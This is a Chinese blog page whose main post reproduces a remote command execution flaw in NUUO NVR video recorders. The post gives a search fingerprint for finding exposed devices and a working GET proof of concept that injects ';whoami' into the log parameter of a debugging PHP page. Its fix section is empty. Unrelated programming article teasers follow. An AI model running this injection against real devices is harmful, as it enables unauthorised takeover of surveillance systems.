当前位置： 首页 > news >正文

【漏洞复现】某 NVR 视频存储管理设备远程命令执行

news 2026/2/8 14:19:05

漏洞描述

NUUO NVR是中国台湾NUUO公司旗下的一款网络视频记录器，该设备存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，进而获取服务器的权限。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

title="Network Video Recorder Login"

漏洞复现

1.利用GET请求如下POC执行whoami命令得到回显

http://{{Hostname}}/__debugging_center_utils___.php?log=;whoami

在这里插入图片描述

修复方案

相关文章：

【漏洞复现】某 NVR 视频存储管理设备远程命令执行

漏洞描述 NUUO NVR是中国台湾NUUO公司旗下的一款网络视频记录器，该设备存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，进而获取服务器的权限。 免责声明 技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律&am…...

编程日记 2023/10/9 15:20:02

若依前端-应用路径发布和使用

官网的路径：前端手册 | RuoYi 应用路径 有些特殊情况需要部署到子路径下，例如：https://www.ruoyi.vip/admin，可以按照下面流程修改。 1、修改vue.config.js中的publicPath属性 publicPath: process.env.NODE_ENV "produ…...

编程日记 2023/10/9 15:19:01

Mojo 正式发布，Rust 能否与之匹敌？

9 月 7 日，Modular 公司宣布正式发布 Mojo：Mojo 现在已经开放本地下载——初步登陆 Linux 系统，并将很快提供 Mac 与 Windows 版本。据介绍，Mojo 最初的目标是比 Python 快 35000 倍，近日该团队表示，Mojo 将…...

编程日记 2023/10/9 15:17:59

opencv实现抠图，图像拼接，图像融合

在OpenCV中，你可以使用图像拼接、抠图和将图像的一部分放在另一张图片的指定位置。以下是示例代码，演示如何执行这些操作： 图像拼接 要将两张图像拼接在一起，你可以使用 cv::hconcat（水平拼接）和 cv::vco…...

编程日记 2023/10/9 15:16:58

照片处理软件Lightroom Classic mac中文版功能介绍（Lrc2021）

Lightroom Classic 2022 mac是一款桌面编辑工具，lrc2021 mac包括提亮颜色、使灰暗的摄影更加生动、删除瑕疵、将弯曲的画面拉直等。您可以在电脑桌面上轻松整理所有照片。使用Lightroom Classic， 轻松整理编辑照片，为您的作品锦上添花。 Ligh…...

编程日记 2023/10/9 15:15:57

asp.net高校留学生信息管理系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net 高校留学生信息管理系统 是一套完善的web设计管理系统，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境为vs2010，数据库为sqlserver2008，使 用c#语言开发 asp.net留学生信息管理系…...

编程日记 2023/10/9 15:14:56

C# - Opencv应用（1） 之VS下环境配置详解

C# - Opencv应用（1） 之VS下环境配置详解 有时候，单纯c#做前端时会联合C实现的dll来落地某些功能由于有时候会用C - Opencv实现算法后封装成dll，但是有时候会感觉麻烦，不如直接通过C#直接调用Opencv在此慢慢总结下C# -…...

编程日记 2023/10/9 15:13:55

rsync 远程同步实现快速、安全、高效的异地备份

目录 1 rsync 远程同步 1.1 rsync是什么？ 1.2 rsync同步方式 1.3 rsync的特性 1.4 rsync的应用场景 1.5 rsync与cp、scp对比 1.6 rsync同步源 2 配置rsync源服务器 2.1 建立/etc/rsyncd.conf 配置文件 3 发起端 4 发起端配置 rsyncinotify 4.1 修改rsync…...

编程日记 2023/10/9 15:12:54

医学访问学者面试技巧

医学访问学者面试是一个非常重要的环节，它决定了你是否能够获得这个宝贵的机会去国外的大学或研究机构学习和研究。在这篇文章中，知识人网小编将分享一些关于医学访问学者面试的技巧，帮助你在面试中表现出色。 1. 准备充分 在参加医学访问学…...

编程日记 2023/10/9 15:10:51

【19】c++设计模式——＞桥接模式

桥接模式的定义 C的桥接模式（Bridge Pattern）是一种结构型设计模式，它将抽象部分与实现部分分离，使得它们可以独立地变化。桥接模式的核心思想是利用组合关系代替继承关系，将系统划分成多个独立的、功能不同的类层次结…...

编程日记 2023/10/9 15:09:50

网络安全：六种常见的网络攻击手段

1、什么是VPN服务？ 虚拟专用网络（或VPN）是您的设备与另一台计算机之间通过互联网的安全连接。VPN服务可用于在离开办公室时安全地访问工作计算机系统。但它们也常用于规避政府审查制度，或者在电影流媒体网站上阻止位置封锁&#…...

编程日记 2023/10/9 15:08:48

使用HbuilderX运行uniapp中小程序项目

下载HbuilderX，下载链接： HBuilderX-高效极客技巧 导入相关项目。下载微信开发者工具。使用微信开发者工具打开：注意：如果是第一次使用，需要先配置小程序ide的相关路径，才能运行成功。如下图，需…...

编程日记 2023/10/9 15:07:47

基于PHP的水果商城网站，mysql数据库，前台+后台，原生PHP，PHP study（小皮），完美运行，有一万字报告。

目录 演示视频 基本介绍 论文目录 购买流程 系统截图 演示视频 基本介绍 基于PHP的水果商城网站，mysql数据库，前台后台，原生PHP，PHP study（小皮），完美运行，有一万字报告。 前…...

编程日记 2023/10/9 15:06:45

【uniapp】自定义导航栏时，设置安全距离,适配不同机型

1、在pages.json中，给对应的页面设置自定义导航栏样式 {"path": "pages/index/index","style": {"navigationStyle": "custom","navigationBarTextStyle": "white","navigationBarTitl…...

编程日记 2023/10/9 15:05:45

JAVA经典百题之数组逆序输出

题目:将一个数组逆序输出。 程序分析 要将一个数组逆序输出，即将数组中的元素顺序颠倒过来，可以使用多种方法。基本思路是创建一个新数组或修改原数组，将元素的顺序颠倒。 方法1: 创建新数组实现 思路 创建一个新的数组，长度…...

编程日记 2023/10/9 15:04:43

vue run dev 配置nginx

由于项目有多个vue项目,在开发过程中需要联调,而不是每次发布后再联调. 比如有2个项目: main-project(主项目),test1-project. 由于是多项目,每个项目相当于有一个独立的域,这里test1-project设置域名称为test1 vue修改 在vite.config.ts中配置一个base:"/test1/"…...

编程日记 2023/10/9 15:03:42

Python实现RNN算法对MFCC特征的简单语音识别

Python实现RNN算法对MFCC特征的简单语音识别 1、实现步骤 借助深度学习库 TensorFlow/Keras 来构建模型 1.对标签进行编码，将文本标签转换为整数标签。 2.对 MFCC 特征数据进行填充或截断，使其长度一致，以便于输入到 RNN 模型中 3.如果是二维数据需要转成三维： Simpl…...

编程日记 2023/10/9 15:02:40

借助PLC-Recorder，汇川中型PLC（AM、AC系列，CODESYS平台）2ms高速采集的方法

高速数据采集要保证速度，也要保证时刻的准确性。在windows系统里，时间稳定性是个很难的问题。如果PLC发送的数据里带有时间信息，则可以由PLC来保证采样周期的稳定性。 从V2.12版本开始，PLC-Recorder软件可以处理发送电文里的时间…...

编程日记 2023/10/9 15:01:39

vscode package.json文件开头的{总是提升警告

警告如下 Problems loading reference https://json.schemastore.org/stylelintrc.json: Unable to load schema from https://json.schemastore.org/stylelintrc.json: read ECONNRESET. 解决如下 在设置（settings.json）里 新增一条属性 "ht…...

编程日记 2023/10/9 15:00:38

$attrs 和 $listeners (vue2vue3)

目录 透传 Attributes Attributes 继承​ 对 class 和 style 的合并 v-on 监听器继承 深层组件继承 禁用 Attributes 继承 多根节点的 Attributes 继承 vue2 $attrs 和 $listeners $attrs 概念说明 $attrs 案例 $listeners 概念说明 $listeners案例 vue3 $attr…...

编程日记 2023/10/9 14:59:37

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

编程新知 2025/11/20 18:42:48

django filter 统计数量 按属性去重

在Django中&#xff0c;如果你想要根据某个属性对查询集进行去重并统计数量&#xff0c;你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求&#xff1a; 方法1&#xff1a;使用annotate()和Count 假设你有一个模型Item&#xff0c;并且你想…...

编程新知 2026/1/11 2:37:51

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

编程新知 2026/1/31 6:09:22

unix/linux，sudo，其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化，本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来，让我们拨开时间的迷雾，一同探寻 sudo 那波澜壮阔（也颇为实用主义）的发展历程。 历史背景：su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前，Unix 系统管理员和需要特权操作的…...

编程新知 2025/11/18 21:31:41

解析奥地利 XARION激光超声检测系统：无膜光学麦克风 + 无耦合剂的技术协同优势及多元应用

在工业制造领域&#xff0c;无损检测&#xff08;NDT)的精度与效率直接影响产品质量与生产安全。奥地利 XARION开发的激光超声精密检测系统&#xff0c;以非接触式光学麦克风技术为核心&#xff0c;打破传统检测瓶颈&#xff0c;为半导体、航空航天、汽车制造等行业提供了高灵敏…...

编程新知 2026/2/3 15:45:51

【安全篇】金刚不坏之身：整合 Spring Security + JWT 实现无状态认证与授权

摘要 本文是《Spring Boot 实战派》系列的第四篇。我们将直面所有 Web 应用都无法回避的核心问题&#xff1a;安全。文章将详细阐述认证&#xff08;Authentication) 与授权&#xff08;Authorization的核心概念&#xff0c;对比传统 Session-Cookie 与现代 JWT&#xff08;JS…...

编程新知 2025/12/7 16:12:52

LangChain【6】之输出解析器：结构化LLM响应的关键工具

文章目录 一 LangChain输出解析器概述1.1 什么是输出解析器&#xff1f;1.2 主要功能与工作原理1.3 常用解析器类型 二 主要输出解析器类型2.1 Pydantic/Json输出解析器2.2 结构化输出解析器2.3 列表解析器2.4 日期解析器2.5 Json输出解析器2.6 xml输出解析器 三 高级使用技巧3…...

编程新知 2025/10/4 5:55:58

大模型——基于Docker+DeepSeek+Dify ：搭建企业级本地私有化知识库超详细教程

基于Docker+DeepSeek+Dify ：搭建企业级本地私有化知识库超详细教程 下载安装Docker Docker官网：https://www.docker.com/ 自定义Docker安装路径 Docker默认安装在C盘，大小大概2.9G，做这行最忌讳的就是安装软件全装C盘，所以我调整了下安装路径。 新建安装目录：E:\MyS…...

编程新知 2026/2/6 11:33:19

【大厂机试题解法笔记】矩阵匹配

题目 从一个 N * M&#xff08;N ≤ M&#xff09;的矩阵中选出 N 个数&#xff0c;任意两个数字不能在同一行或同一列&#xff0c;求选出来的 N 个数中第 K 大的数字的最小值是多少。 输入描述 输入矩阵要求&#xff1a;1 ≤ K ≤ N ≤ M ≤ 150 输入格式 N M K N*M矩阵 输…...

编程新知 2025/10/13 9:33:04

华硕电脑，全新的超频方式，无需进入BIOS

想要追求更佳性能释放 或探索更多可玩性的小伙伴&#xff0c; 可能会需要为你的电脑超频。 但我们常用的不论是BIOS里的超频&#xff0c; 还是Armoury Crate奥创智控中心超频&#xff0c; 每次调节都要重启&#xff0c;有点麻烦。 TurboV Core 全新的超频方案来了 4不规…...

编程新知 2026/2/1 10:30:06